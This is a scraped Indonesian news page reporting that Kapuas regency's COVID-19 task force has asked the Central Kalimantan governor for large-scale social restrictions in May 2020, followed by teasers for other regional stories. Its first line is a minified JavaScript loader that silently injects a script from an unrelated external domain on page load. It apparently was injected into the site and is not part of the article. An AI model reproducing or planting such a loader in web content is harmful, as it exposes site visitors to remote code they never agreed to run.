(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Kasus Covid-19 Makin Memprihatinkan, Kapuas Ajukan PSBB ke Gubernur Kalteng


KANALKALIMANTAN. COM, KUALA KAPUAS –  Pemkab Kapuas melalui Gugus Tugas Percepatan Penanganan COVID-19 mengajukan Pembatasan Sosial Berskala Besar (PSBB) kepada Gubernur Kalimantan Tengah.

Ketua Harian Gugus Tugas COVID-19 Kapuas, Panahatan Sinaga mengatakan saat ini pihaknya sedang mengaji epidemiologi, sosial, dan keamanan untuk PSBB.

Pihaknya, telah menerima surat instruksi Gubernur Kalteng H Sugianto Sabran nomor 360/60/GT-COVID 19 perihal kajian penerapan PSBB.

Ia membeberkan, saat ini di posko perbatasan diperketat, bagi warga yang tidak ber KTP Kapuas tidak diperbolehkan masuk. Saat ini juga posko perbatasan Anjir kilo meter 14 sudah ditarik ke Jembatan Timbang km 12.

“Kami telah melakukan rapat kerja dan melakukan kajian epidemiologis dan kajian terhadap aspek politik, ekonomi, sosial, budaya, agama, pertahanan dan keamanan. Surat pengajuan PSBB sudah kami layangkan kepada Gubernur,” kata Panahantan Sinaga, Sabtu, (23/05/2020).

Hal ini, lanjut dia, karena lonjakan kasus terkonfirmasi positif Covid-19 sudah sampai level mengkhawatirkan dan serta berdasar hasil kunjungan Gubernur Kalteng ke Kabupaten Kapuas pada hari Kamis, 21 Mel 2020.

Semua ini dalam rangka optimalisasi upaya percepatan penanganan covid-19 di wilayah Kabupaten Kapuas.

“Sesuai dengan ketentuan peraturan Menteri Kesehatan Nomor 9 Tahun 2020 tentang Pedoman PSBB dalam rangka percepatan penangananCovid-1 9 sebagai dasar permohonan PSBB kepada Menteri,” jelas Sinaga.

Menuru diya, Pemprov Kalteng menyiapkan dukungan untuk penerapan PSBB di wilayah Kabupaten Kapuas untuk percepatan penyelesaian persyaratan usulan yang dimaksud.

Selain itu, lanjut dia, Tim Gugus Tugas COVID-19 Kapuas selalu berkoordinasi dengan Tim Gugus Tugas COVID-19 Provinsi Kalteng, mengingat RSUD Kapuas bukan RS rujukan.

Dia menambahkan, gubernur berjanji melakukan perluasan Rumah Sakit agar daya tampung bagi pasien positif Covid-19 lebih banyak lagi. Jadi sementara itu kalau ada PDP langsung di rujuk ke Palangkaraya.

“Hanya, kendala yang dihadapi sekarang swab yang dikirim hasilnya menunggu bisa sampai satu minggu karena antrean sangat banyak,” pungkasdia. (kanalkalimantan.com/ags)

 

Reporter : Ags
Editor : Dhani

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.